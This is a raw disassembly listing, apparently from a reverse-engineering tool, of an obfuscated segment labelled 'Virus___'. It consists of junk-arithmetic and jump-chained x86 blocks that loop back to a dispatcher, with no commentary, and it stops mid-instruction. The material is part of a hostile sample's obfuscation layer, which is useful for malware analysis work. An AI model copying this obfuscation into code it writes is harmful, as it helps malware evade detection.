loc_561FAE: ; CODE XREF: Virus___:0055801Bj mov esi, 104320h sub eax, 64F6E78h sub eax, esi jmp loc_55AF77 ; --------------------------------------------------------------------------- loc_561FBF: ; CODE XREF: Virus___:00559EFCj mov edi, 7BE520B1h jmp loc_55BB31 ; --------------------------------------------------------------------------- loc_561FC9: ; CODE XREF: Virus___:0055C009j push ecx not dword ptr [esp] pop ecx jmp loc_55ED2D ; --------------------------------------------------------------------------- loc_561FD3: ; CODE XREF: Virus___:00551E70j xor eax, [esp] pop esp cmp cl, al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_561FDF: ; CODE XREF: Virus___:005608A5j shr eax, 0Eh jmp loc_553835 ; --------------------------------------------------------------------------- loc_561FE7: ; CODE XREF: Virus___:00564239j pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_55FAF7 ; --------------------------------------------------------------------------- loc_561FF3: ; CODE XREF: Virus___:0055B003j xor esi, ebp pop ebp jmp loc_551CFA ; --------------------------------------------------------------------------- loc_561FFB: ; CODE XREF: Virus___:00550C5Aj push ecx mov ecx, 1F354F5Eh sub [esp+4], ecx pop ecx pop ecx add ecx, 1F354F5Eh push dword ptr [esp] pop ebx add esp, 4 push edx jmp loc_563221 ; --------------------------------------------------------------------------- loc_56201D: ; CODE XREF: Virus___:0056357Cj or ecx, 33041B9Eh and ecx, 2AF56936h xor ecx, 57BD98CBh sub edx, ecx pop ecx push edx jmp loc_5513D8 ; --------------------------------------------------------------------------- loc_562038: ; CODE XREF: Virus___:0055DED5j pop esi neg eax jmp loc_5592AF ; --------------------------------------------------------------------------- loc_562040: ; CODE XREF: Virus___:0055A9DBj add esp, 4 xor ebp, edi pop edi add eax, 1FC302B9h add eax, ebp push esi mov esi, 1FC302B9h sub eax, esi pop esi pop ebp add ebx, 303B7688h jmp loc_5624D0 ; --------------------------------------------------------------------------- loc_562065: ; CODE XREF: Virus___:0055DFC3j sub edx, eax pop eax add edx, 0F9C952F4h add eax, edx mov edx, [esp] add esp, 4 jmp loc_5592A7 ; --------------------------------------------------------------------------- loc_56207B: ; CODE XREF: Virus___:0055A5D1j sub edx, esi pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_561480 ; --------------------------------------------------------------------------- loc_56208C: ; CODE XREF: Virus___:00550825j pop ebx xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 1FDE5D8Dh and ebx, ecx mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, 1 add ebx, esi pop esi push 3A89h mov [esp], ebp mov ebp, 0E269CBFFh add ebx, ebp jmp loc_5514E1 ; --------------------------------------------------------------------------- loc_5620CE: ; CODE XREF: Virus___:005637C1j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp mov ax, [esp] sub esp, 4 mov [esp], ebp jmp loc_5517C6 ; --------------------------------------------------------------------------- loc_5620F7: ; CODE XREF: Virus___:00561645j sub eax, esi pop esi jmp loc_554C4A ; --------------------------------------------------------------------------- loc_5620FF: ; CODE XREF: Virus___:00555E52j pop edi jmp loc_552922 ; --------------------------------------------------------------------------- loc_562105: ; CODE XREF: Virus___:0055F90Fj add esp, 4 mov ebp, [esp] add esp, 4 and ecx, edi mov edi, [esp] push 18FDh mov [esp], esi push esp pop esi add esi, 4 push edi push 0F2Fh mov [esp], esi mov esi, 5675164Ch push ebx mov ebx, 77FA327Bh jmp loc_56120E ; --------------------------------------------------------------------------- loc_56213C: ; CODE XREF: Virus___:0055CB3Fj push esi mov esi, 4 add [esp+4], esi jmp loc_561531 ; --------------------------------------------------------------------------- loc_56214B: ; CODE XREF: Virus___:00556B69j sub edx, ebp mov ebp, [esp] add esp, 4 mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ecx, edx pop edx push ebp jmp loc_5590AA ; --------------------------------------------------------------------------- loc_562175: ; CODE XREF: Virus___:00561B78j mov esi, [esp] sub esp, 4 mov [esp], eax push 130h push esp pop dword ptr [esp] jmp loc_560CA4 ; --------------------------------------------------------------------------- loc_56218C: ; CODE XREF: Virus___:0055FEA9j xor ebx, 58453555h jmp loc_552C2F ; --------------------------------------------------------------------------- mov cx, [esp] push edx mov edx, esp jmp loc_55599F ; --------------------------------------------------------------------------- loc_5621A3: ; CODE XREF: Virus___:005556CEj pop esi jmp loc_556C87 ; --------------------------------------------------------------------------- loc_5621A9: ; CODE XREF: Virus___:0055AD0Bj mov edi, esp push ebp mov ebp, 4 sub edi, 60326F42h add edi, ebp add edi, 60326F42h jmp loc_55F1C4 ; --------------------------------------------------------------------------- loc_5621C4: ; CODE XREF: Virus___:0055CA40j mov [esp], ecx mov ch, dh mov [edi+eax*4], ch pop ecx pop edx push dword ptr [esp] pop ecx push ebp jmp loc_5551E9 ; --------------------------------------------------------------------------- loc_5621D8: ; CODE XREF: Virus___:00559192j and bh, 75h jmp loc_5503FC ; --------------------------------------------------------------------------- loc_5621E0: ; CODE XREF: Virus___:0055C208j push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_55971D ; --------------------------------------------------------------------------- loc_5621F7: ; CODE XREF: Virus___:0055FC3Bj xor [esp], ecx xor ecx, [esp] pop esp add eax, 76F776C3h sub eax, 299835C3h add eax, ebx jmp loc_557589 ; --------------------------------------------------------------------------- loc_56220F: ; CODE XREF: Virus___:0055DA89j add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_55A690 ; --------------------------------------------------------------------------- loc_562220: ; CODE XREF: Virus___:00562FE0j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp pop eax loc_56222B: ; CODE XREF: Virus___:00556B7Fj push esi mov esi, ebx jmp loc_55A811 ; --------------------------------------------------------------------------- loc_562233: ; CODE XREF: Virus___:0055D714j add edi, 4 xchg edi, [esp] pop esp xor ebp, 6A571206h pop esi jmp loc_557A00 ; --------------------------------------------------------------------------- loc_562249: ; CODE XREF: Virus___:00559266j shr esi, 8 and esi, 64B724B4h and esi, 880BEDh sub esi, 0FFFFFFFCh jmp loc_55E4F8 ; --------------------------------------------------------------------------- loc_562263: ; CODE XREF: Virus___:00562B1Fj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_56073E ; --------------------------------------------------------------------------- loc_562271: ; CODE XREF: Virus___:00556EF2j pop edx sub esi, ebp pop ebp jmp loc_55FB74 ; --------------------------------------------------------------------------- loc_56227A: ; CODE XREF: Virus___:00551A3Dj xor esi, 0B092951h push ebp mov ebp, 115C4047h jmp loc_5519E4 ; --------------------------------------------------------------------------- loc_56228B: ; CODE XREF: Virus___:0055CC23j add dword ptr [esp+4], 0CD42C00h jmp loc_559BEA ; --------------------------------------------------------------------------- loc_562298: ; CODE XREF: Virus___:0055BC31j pop esp jmp loc_55EABD ; --------------------------------------------------------------------------- loc_56229E: ; CODE XREF: Virus___:0055F199j sub eax, 2C122B04h add eax, 5D877C85h add eax, esi sub eax, 5D877C85h jmp loc_562B4F ; --------------------------------------------------------------------------- loc_5622B4: ; CODE XREF: Virus___:00559A12j push dword ptr [esp] pop ecx push 0AD0h mov [esp], esi push esp pop esi jmp loc_55BC7E ; --------------------------------------------------------------------------- loc_5622C7: ; CODE XREF: Virus___:0055C564j xchg ebp, [esp] mov esp, [esp] or eax, eax jz loc_552822 push esi jmp loc_54FE2A ; --------------------------------------------------------------------------- loc_5622DB: ; CODE XREF: Virus___:00555C38j pop ax jmp loc_5556EB ; --------------------------------------------------------------------------- loc_5622E2: ; CODE XREF: Virus___:00550609j add ebp, 761D5828h sub esi, ebp pop ebp push eax mov eax, 75F569DCh add esi, eax jmp loc_552BDE ; --------------------------------------------------------------------------- loc_5622F8: ; CODE XREF: Virus___:00562A83j pop ebp jmp loc_55C308 ; --------------------------------------------------------------------------- loc_5622FE: ; CODE XREF: Virus___:00562789j push ebp mov ebp, 0B5B3719h shr ebp, 3 jmp loc_5587D2 ; --------------------------------------------------------------------------- loc_56230C: ; CODE XREF: Virus___:00556D24j xchg ecx, esi not ecx jmp loc_55181A ; --------------------------------------------------------------------------- loc_562315: ; CODE XREF: Virus___:00552915j xor ebx, 746CFD8Eh jmp loc_55967B ; --------------------------------------------------------------------------- loc_562320: ; CODE XREF: Virus___:00552673j pop ebx push edi jmp loc_5619A9 ; --------------------------------------------------------------------------- loc_562327: ; CODE XREF: Virus___:0055C3F5j mov [ecx], eax pop ecx push dword ptr [esp] mov edx, [esp] push edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5558B4 ; --------------------------------------------------------------------------- loc_562345: ; CODE XREF: Virus___:0055D73Dj xor ebp, 15673EC0h mov edx, ebp pop ebp sub edi, edx pop edx jmp loc_563596 ; --------------------------------------------------------------------------- loc_562356: ; CODE XREF: Virus___:0055749Bj sub edi, esi pop esi xchg edi, [esp] pop esp jmp loc_555DFD ; --------------------------------------------------------------------------- loc_562362: ; CODE XREF: Virus___:0055A0CDj mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_559BFF ; --------------------------------------------------------------------------- loc_56236F: ; CODE XREF: Virus___:00557487j push dword ptr [esp] jmp loc_557858 ; --------------------------------------------------------------------------- loc_562377: ; CODE XREF: Virus___:0055A414j neg ebx xor ebx, 0FF93E784h add esi, ebx pop ebx push ebx mov ebx, 194468BFh shr ebx, 4 xor ebx, 194468Fh add esi, ebx pop ebx push esi push dword ptr [esp+4] push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] pop esp add ebx, 4 jmp loc_552052 ; --------------------------------------------------------------------------- loc_5623BB: ; CODE XREF: Virus___:00557908j push ebp push edi mov edi, 45BD2030h add edi, 33111C0Dh neg edi shl edi, 6 jmp loc_55FD61 ; --------------------------------------------------------------------------- loc_5623D2: ; CODE XREF: Virus___:0055D616j push ebx mov ebx, 0 sub ebx, eax jmp loc_55B0D6 ; --------------------------------------------------------------------------- loc_5623DF: ; CODE XREF: Virus___:00560121j mov esi, [esp] jmp loc_5586A3 ; --------------------------------------------------------------------------- loc_5623E7: ; CODE XREF: Virus___:0055D9AFj pop ebp push esi mov esi, esp add esi, 4 jmp loc_560251 ; --------------------------------------------------------------------------- loc_5623F6: ; CODE XREF: Virus___:005530F0j push edi push bx push ebp push ebx mov bx, 6FE2h mov bp, bx pop ebx add bp, 4970h not bp jmp loc_5523D8 ; --------------------------------------------------------------------------- loc_562410: ; CODE XREF: Virus___:00552752j xor edi, [esp] mov esp, [esp] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56241B: ; CODE XREF: Virus___:0055C387j mov ebx, eax jmp loc_5586C4 ; --------------------------------------------------------------------------- loc_562422: ; CODE XREF: Virus___:0055537Bj push ecx mov ecx, 4 sub edx, ecx mov ecx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop eax jmp loc_557927 ; --------------------------------------------------------------------------- loc_562446: ; CODE XREF: Virus___:00553C20j mov [esp], edx mov edx, 4 sub ebx, 79FD4E37h sub ebx, edx add ebx, 79FD4E37h pop edx jmp loc_55D3EF ; --------------------------------------------------------------------------- loc_562462: ; CODE XREF: Virus___:0055A72Cj add edx, 4 jmp loc_552C1A ; --------------------------------------------------------------------------- loc_56246A: ; CODE XREF: Virus___:00560C7Ej push ecx jmp loc_556FFA ; --------------------------------------------------------------------------- loc_562470: ; CODE XREF: Virus___:005564BBj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_55F858 ; --------------------------------------------------------------------------- loc_56248F: ; CODE XREF: Virus___:00560715j mov [esp], esi push edx mov edx, 0F7B75ECh xchg edi, edx inc edi jmp loc_54F924 ; --------------------------------------------------------------------------- loc_5624A0: ; CODE XREF: Virus___:00560612j and ecx, 433F75EAh xor ecx, 4A425C1Eh jmp loc_5629D8 ; --------------------------------------------------------------------------- loc_5624B1: ; CODE XREF: Virus___:0055C6F5j pop eax add esp, 4 jmp loc_55815D ; --------------------------------------------------------------------------- loc_5624BD: ; CODE XREF: Virus___:005501ECj dec ebp push 6443h mov [esp], ecx mov ecx, 2A3C7A40h jmp loc_557FCB ; --------------------------------------------------------------------------- loc_5624D0: ; CODE XREF: Virus___:00562060j add ebx, eax push esi push eax mov eax, 303B7688h mov esi, eax pop eax add ebx, 3EB00299h jmp loc_55B48C ; --------------------------------------------------------------------------- loc_5624E7: ; CODE XREF: Virus___:00554108j mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push 7205h mov [esp], edx sub esp, 4 jmp loc_55938F ; --------------------------------------------------------------------------- loc_562503: ; CODE XREF: Virus___:00558BFBj sub al, 0B2h mov ebx, [esp] add esp, 4 push ebp mov ebp, esp push ebx mov ebx, 18491532h shr ebx, 3 neg ebx add ebx, 59927A23h add ebx, 0A976A887h add ebp, ebx pop ebx jmp loc_553933 ; --------------------------------------------------------------------------- lodsd jmp loc_54FEFB ; --------------------------------------------------------------------------- loc_562536: ; CODE XREF: Virus___:00562BDEj add esi, 0E365B609h sub ebx, esi pop esi sub ebx, edi jmp loc_558E20 ; --------------------------------------------------------------------------- push 60h sub esp, 4 jmp loc_5569E1 ; --------------------------------------------------------------------------- push esi push edi push 48BC050Eh mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55309D ; --------------------------------------------------------------------------- loc_562573: ; CODE XREF: Virus___:0055A22Aj push ecx jmp loc_55AD4A ; --------------------------------------------------------------------------- loc_562579: ; CODE XREF: Virus___:00564B51j mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov fs:[edx], ax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56258E: ; CODE XREF: Virus___:0055CBA6j sub ecx, ebp jmp loc_561500 ; --------------------------------------------------------------------------- loc_562595: ; CODE XREF: Virus___:00564292j mov ebp, [esp] jmp loc_553C99 ; --------------------------------------------------------------------------- loc_56259D: ; CODE XREF: Virus___:005640A9j xor edx, eax jmp loc_560F00 ; --------------------------------------------------------------------------- loc_5625A4: ; CODE XREF: Virus___:0055D8CCj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_562A80 ; --------------------------------------------------------------------------- loc_5625B5: ; CODE XREF: Virus___:0054FD71j sub esp, 4 mov [esp], esp push esi mov esi, 4 add [esp+4], esi pop esi jmp loc_5637F4 ; --------------------------------------------------------------------------- loc_5625CB: ; CODE XREF: Virus___:00550E4Dj pop eax sub ch, bl jmp loc_5608F9 ; --------------------------------------------------------------------------- loc_5625D3: ; CODE XREF: Virus___:00561D74j add esi, 4 jmp loc_56304B ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5625EA: ; CODE XREF: Virus___:0055BB75j and edi, 5C9E3C89h jmp loc_554C86 ; --------------------------------------------------------------------------- loc_5625F5: ; CODE XREF: Virus___:0055DCBFj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_560776 ; --------------------------------------------------------------------------- loc_56260C: ; CODE XREF: Virus___:00555884j add ebp, edx mov edx, [esp] add esp, 4 add edi, ebp pop ebp xchg edi, [esp] mov esp, [esp] idiv ecx jmp loc_552662 ; --------------------------------------------------------------------------- lodsb sub al, 35h add al, 96h sub al, bl jmp loc_5502C6 ; --------------------------------------------------------------------------- loc_562633: ; CODE XREF: Virus___:00554A1Bj add ecx, esi pop esi push ebp mov ebp, 4 add ecx, ebp pop ebp sub esp, 4 mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push ebp mov ebp, esp push edi push esi jmp loc_56185D ; --------------------------------------------------------------------------- loc_562659: ; CODE XREF: Virus___:005632A6j mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_550CA4 ; --------------------------------------------------------------------------- loc_56266E: ; CODE XREF: Virus___:00557EC2j sub ebx, 75D66939h sub edx, ebx pop ebx push 6642h mov [esp], edx pop edi jmp loc_5503D8 ; --------------------------------------------------------------------------- loc_562685: ; CODE XREF: Virus___:0055056Cj sub ecx, 0A2B15D40h xor edi, ecx pop ecx xor edi, 494E625Dh xor edi, 2CB30AF1h add ebx, edi mov edi, [esp] push ebx jmp loc_54FF2B ; --------------------------------------------------------------------------- loc_5626A5: ; CODE XREF: Virus___:0056474Bj mov [esp], eax mov eax, 7111094Eh push edx push edi push 29214799h jmp loc_561C8B ; --------------------------------------------------------------------------- loc_5626B9: ; CODE XREF: Virus___:0055AFA2j mov eax, esp add eax, 4 jmp loc_5584E2 ; --------------------------------------------------------------------------- loc_5626C5: ; CODE XREF: Virus___:0055067Dj mov [esp], ebp jmp loc_551ADD ; --------------------------------------------------------------------------- loc_5626CD: ; CODE XREF: Virus___:0055D823j xchg edx, [esp] pop esp jmp loc_552A0B ; --------------------------------------------------------------------------- loc_5626D6: ; CODE XREF: Virus___:00558179j pop ebp sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 4 sub ecx, ebx pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_55A96F ; --------------------------------------------------------------------------- loc_5626F7: ; CODE XREF: Virus___:00551D4Dj push eax jmp loc_554ED2 ; --------------------------------------------------------------------------- loc_5626FD: ; CODE XREF: Virus___:005557C4j push edx mov edx, esp push 7317h mov [esp], ebp mov ebp, 4 push esi mov esi, 2DE920BFh jmp loc_560646 ; --------------------------------------------------------------------------- loc_562718: ; CODE XREF: Virus___:0055B7A4j pop esp push ecx push 5513h mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] add esp, 4 push eax mov eax, 6AA93512h jmp loc_55D221 ; --------------------------------------------------------------------------- loc_562737: ; CODE XREF: Virus___:00551484j or ecx, 3FE70A33h jmp loc_5542D9 ; --------------------------------------------------------------------------- loc_562742: ; CODE XREF: Virus___:0055495Dj mov edi, 44D838BDh sub edi, 44D838B9h push edi jmp loc_552BEF ; --------------------------------------------------------------------------- loc_562753: ; CODE XREF: Virus___:0055AC43j and ecx, esi mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] shr ecx, 2 push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], edx jmp loc_5622FE ; --------------------------------------------------------------------------- loc_56278E: ; CODE XREF: Virus___:00554BD0j pop edi shl edi, 2 add edi, 38FE1CF2h push edx jmp loc_5515FA ; --------------------------------------------------------------------------- loc_56279E: ; CODE XREF: Virus___:005632F9j pop esi push edi mov edi, esp push ebp mov ebp, 39F55D08h jmp loc_55D397 ; --------------------------------------------------------------------------- loc_5627AD: ; CODE XREF: Virus___:005588D6j push ebp sub esp, 4 mov [esp], edx mov edx, 0BFB6140h mov ebp, edx pop edx push ebx mov ebx, 37B25953h or ebx, 3026496Bh add ebx, 26ECAFF2h jmp loc_558499 ; --------------------------------------------------------------------------- loc_5627D6: ; CODE XREF: Virus___:0055AA4Cj add esi, 4 push ebp jmp loc_55F64B ; --------------------------------------------------------------------------- loc_5627E2: ; CODE XREF: Virus___:005594C8j pop ebp jmp loc_55E2A8 ; --------------------------------------------------------------------------- loc_5627E8: ; CODE XREF: Virus___:00561156j mov [esp], edx mov edx, 4B253118h add ebp, edx pop edx xor ebp, 54C83939h jmp loc_55CF66 ; --------------------------------------------------------------------------- loc_5627FE: ; CODE XREF: Virus___:00559202j mov ecx, [esp] jmp loc_55D690 ; --------------------------------------------------------------------------- loc_562806: ; CODE XREF: Virus___:00553CB9j mov edi, [esp] add esp, 4 shr eax, 8 xor eax, ecx jmp loc_5545DC ; --------------------------------------------------------------------------- loc_562816: ; CODE XREF: Virus___:0054FA69j push esi jmp loc_560FE0 ; --------------------------------------------------------------------------- loc_56281C: ; CODE XREF: Virus___:0055481Ej mov ch, al jmp loc_56290E ; --------------------------------------------------------------------------- loc_562823: ; CODE XREF: Virus___:0055BC4Aj mov ebx, [esp] add esp, 4 push ecx mov ecx, 17AB3796h sub ecx, 67C606DCh add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_55912C ; --------------------------------------------------------------------------- loc_562846: ; CODE XREF: Virus___:0055FF5Dj sub edx, 0B0A4E2A6h xor edi, edx pop edx mov ebp, edi pop edi and ecx, ebp jmp loc_5570E5 ; --------------------------------------------------------------------------- loc_562859: ; CODE XREF: Virus___:005569EBj mov [esp], eax push ebp push 574359F9h pop ebp mov eax, 596C15C1h xor eax, ebp pop ebp shr eax, 4 shl eax, 8 inc eax push esi mov esi, 74207AA2h add esi, 0C1D6DDE4h add eax, esi pop esi sub eax, 18EC1B83h add esi, eax jmp loc_5579D2 ; --------------------------------------------------------------------------- loc_56288D: ; CODE XREF: Virus___:0055E430j pop ebp jmp loc_55826B ; --------------------------------------------------------------------------- loc_562893: ; CODE XREF: Virus___:00560A53j sub ecx, 2 jmp loc_5613FD ; --------------------------------------------------------------------------- loc_56289E: ; CODE XREF: Virus___:0055F149j sub edx, 7ACD3EA4h sub edx, 157A7739h add edx, esi add edx, 157A7739h jmp loc_55729D ; --------------------------------------------------------------------------- loc_5628B7: ; CODE XREF: Virus___:0055A14Ej push dword ptr [edi+eax*4] push dword ptr [esp] pop eax jmp loc_559C98 ; --------------------------------------------------------------------------- mov ax, [esp] push ebx push esp pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55399D ; --------------------------------------------------------------------------- loc_5628DB: ; CODE XREF: Virus___:00555050j pop eax jmp loc_557845 ; --------------------------------------------------------------------------- loc_5628E1: ; CODE XREF: Virus___:005591D5j push ebp jmp loc_55FA1D ; --------------------------------------------------------------------------- loc_5628E7: ; CODE XREF: Virus___:00563E76j push ebx jmp loc_560A58 ; --------------------------------------------------------------------------- loc_5628ED: ; CODE XREF: Virus___:00564A22j mov edx, 2B2304E6h sub ebx, 2BC5701Fh sub ebx, edx add ebx, 2BC5701Fh push dword ptr [esp] push dword ptr [esp] mov edx, [esp] jmp loc_562A6E ; --------------------------------------------------------------------------- loc_56290E: ; CODE XREF: Virus___:0056281Ej pop eax jmp loc_552ECE ; --------------------------------------------------------------------------- loc_562914: ; CODE XREF: Virus___:00562A74j push edi jmp loc_5584CF ; --------------------------------------------------------------------------- loc_56291A: ; CODE XREF: Virus___:0055C286j pop ebp xchg edi, ebp not edi xchg edi, ebp xchg ebp, ebx jmp loc_55080E ; --------------------------------------------------------------------------- loc_562928: ; CODE XREF: Virus___:0055F76Ej xor eax, ebx push 724h mov [esp], ecx push eax sub esp, 4 mov [esp], esi push ebp mov ebp, esp push esi jmp loc_56388E ; --------------------------------------------------------------------------- loc_562945: ; CODE XREF: Virus___:00552F79j sub bh, 68h sub bh, 53h mov dh, bh mov ebx, [esp] add esp, 4 sub bl, dh pop dx jmp loc_5609A7 ; --------------------------------------------------------------------------- loc_56295F: ; CODE XREF: Virus___:00555094j xchg eax, [esp] mov esp, [esp] push esi jmp loc_55DDD3 ; --------------------------------------------------------------------------- loc_56296B: ; CODE XREF: Virus___:00563ED7j dec edx add edx, 39372A13h jmp loc_563518 ; --------------------------------------------------------------------------- loc_562977: ; CODE XREF: Virus___:00554018j mov [esp], edx push 4 jmp loc_560D1D ; --------------------------------------------------------------------------- loc_562984: ; CODE XREF: Virus___:0055AE42j sub ebx, edx jmp loc_55B961 ; --------------------------------------------------------------------------- loc_56298B: ; CODE XREF: Virus___:0055EFD3j mov dl, 0C1h push eax mov al, 5Ah push edx mov dh, 0D6h or al, dh pop edx xor al, 0C7h add al, 60h neg al inc al add al, 0FCh and dl, al pop eax jmp loc_5587C4 ; --------------------------------------------------------------------------- loc_5629A8: ; CODE XREF: Virus___:0055EDBDj push edi mov di, 398Bh add di, 0DF6h jmp loc_562C42 ; --------------------------------------------------------------------------- loc_5629B7: ; CODE XREF: Virus___:0055593Ej pop ebx jmp loc_55546B ; --------------------------------------------------------------------------- loc_5629BD: ; CODE XREF: Virus___:00554850j and ebx, ecx pop ecx sub esp, 4 jmp loc_55C9A5 ; --------------------------------------------------------------------------- loc_5629C8: ; CODE XREF: Virus___:005594C0j pop edi mov esi, [esp] add esp, 4 push ebx xchg ebx, [esp] jmp loc_562BA6 ; --------------------------------------------------------------------------- loc_5629D8: ; CODE XREF: Virus___:005624ACj shl ecx, 4 dec ecx xor ecx, 0E3F9DE2Ah and edi, ecx jmp loc_5580F3 ; --------------------------------------------------------------------------- loc_5629E9: ; CODE XREF: Virus___:00552D32j sub edx, ebx sub esp, 4 mov [esp], ebp mov ebp, 7B195B2Dh sub edx, ebp jmp loc_55958F ; --------------------------------------------------------------------------- loc_5629FD: ; CODE XREF: Virus___:00552B0Aj sub al, 7Ah xor bl, al pop ax or bl, 54h jmp loc_558DFA ; --------------------------------------------------------------------------- loc_562A0B: ; CODE XREF: Virus___:00563589j mov ebp, 2799293Ah push 21F5h jmp loc_564055 ; --------------------------------------------------------------------------- loc_562A1A: ; CODE XREF: Virus___:00556866j pop esi jmp loc_55C868 ; --------------------------------------------------------------------------- loc_562A20: ; CODE XREF: Virus___:005570E0j pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], edi mov edi, 4 add ebx, edi mov edi, [esp] add esp, 4 push edx mov edx, 2 add ebx, edx pop edx xor ebx, [esp] jmp loc_563FB3 ; --------------------------------------------------------------------------- loc_562A50: ; CODE XREF: Virus___:0055A871j sub eax, 4B3B2DF5h push edx mov edx, 3BE606ACh add edx, 2604133h xor edx, eax xor eax, edx xor edx, eax dec eax xchg eax, edx jmp loc_557E41 ; --------------------------------------------------------------------------- loc_562A6E: ; CODE XREF: Virus___:00562909j add esp, 4 jmp loc_562914 ; --------------------------------------------------------------------------- loc_562A79: ; CODE XREF: Virus___:0055AA01j pop eax pop esi jmp loc_55AB9E ; --------------------------------------------------------------------------- loc_562A80: ; CODE XREF: Virus___:005625B0j pop esp and eax, ebp jmp loc_5622F8 ; --------------------------------------------------------------------------- loc_562A88: ; CODE XREF: Virus___:00562F3Ej push ebp push 9491490h jmp loc_559703 ; --------------------------------------------------------------------------- loc_562A93: ; CODE XREF: Virus___:00563644j sub eax, esi mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_563D7D ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push ebp push esp jmp loc_55D976 ; --------------------------------------------------------------------------- loc_562ABF: ; CODE XREF: Virus___:00557F57j push edi jmp loc_554717 ; --------------------------------------------------------------------------- loc_562AC5: ; CODE XREF: Virus___:00551E7Aj mov edx, [esp] add esp, 4 push edx mov dl, 2Bh jmp loc_564611 ; --------------------------------------------------------------------------- loc_562AD3: ; CODE XREF: Virus___:00557BEEj mov bl, dl mov ch, bl mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 push esi jmp loc_556300 ; --------------------------------------------------------------------------- loc_562AE9: ; CODE XREF: Virus___:00564528j pop edx xor edx, 370461B9h sub esp, 4 mov [esp], edx pop eax push dword ptr [esp] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push 5929h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 jmp loc_562263 ; --------------------------------------------------------------------------- loc_562B24: ; CODE XREF: Virus___:0055B6E7j pop ebx pop dword ptr [esp] pop esp push ebx push edi jmp loc_5639E7 ; --------------------------------------------------------------------------- loc_562B30: ; CODE XREF: Virus___:0055E27Fj sub esp, 4 mov [esp], eax push esi mov esi, 3CC11C39h add esi, 43BF0A2Dh push 914h jmp loc_556FB8 ; --------------------------------------------------------------------------- loc_562B4F: ; CODE XREF: Virus___:005622AFj add eax, 2C122B04h sub eax, 99E56DAh jmp loc_550631 ; --------------------------------------------------------------------------- loc_562B5E: ; CODE XREF: Virus___:0055A94Dj push eax jmp loc_54F90A ; --------------------------------------------------------------------------- loc_562B64: ; CODE XREF: Virus___:0055C4BEj mov ebp, esi jmp loc_552EAD ; --------------------------------------------------------------------------- loc_562B6B: ; CODE XREF: Virus___:00555AFBj push 6DE8h mov [esp], ebx jmp loc_55AC7E ; --------------------------------------------------------------------------- loc_562B78: ; CODE XREF: Virus___:00560641j mov esp, [esp] sub esp, 4 jmp loc_55ECAA ; --------------------------------------------------------------------------- loc_562B86: ; CODE XREF: Virus___:0055B2F7j pop ecx sub eax, 2C10539Dh jmp loc_5507FA ; --------------------------------------------------------------------------- loc_562B91: ; CODE XREF: Virus___:0055661Ej mov edx, edi pop edi sub esp, 4 mov [esp], ecx mov ecx, 6AF46C6Eh and edx, ecx jmp loc_5639A5 ; --------------------------------------------------------------------------- loc_562BA6: ; CODE XREF: Virus___:005629D3j not ebx xchg ebx, [esp] pop ebx shr ebx, 1 push eax mov eax, 1E0464D9h xor ebx, eax pop eax push 2C9Dh mov [esp], edi mov edi, 7F0F3E0Fh xor ebx, edi mov edi, [esp] add esp, 4 push edi mov edi, 1 push esi mov esi, 436D67CAh add esi, 13E735FFh jmp loc_562536 ; --------------------------------------------------------------------------- loc_562BE3: ; CODE XREF: Virus___:005639CBj add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55F8A3 ; --------------------------------------------------------------------------- loc_562BF7: ; CODE XREF: Virus___:0055833Dj mov cl, bh jmp loc_55CA45 ; --------------------------------------------------------------------------- loc_562BFE: ; CODE XREF: Virus___:0055D2EAj mov [esp], dx push ax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_562C0A: ; CODE XREF: Virus___:0055D0C2j pop ecx add ecx, 4 add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp 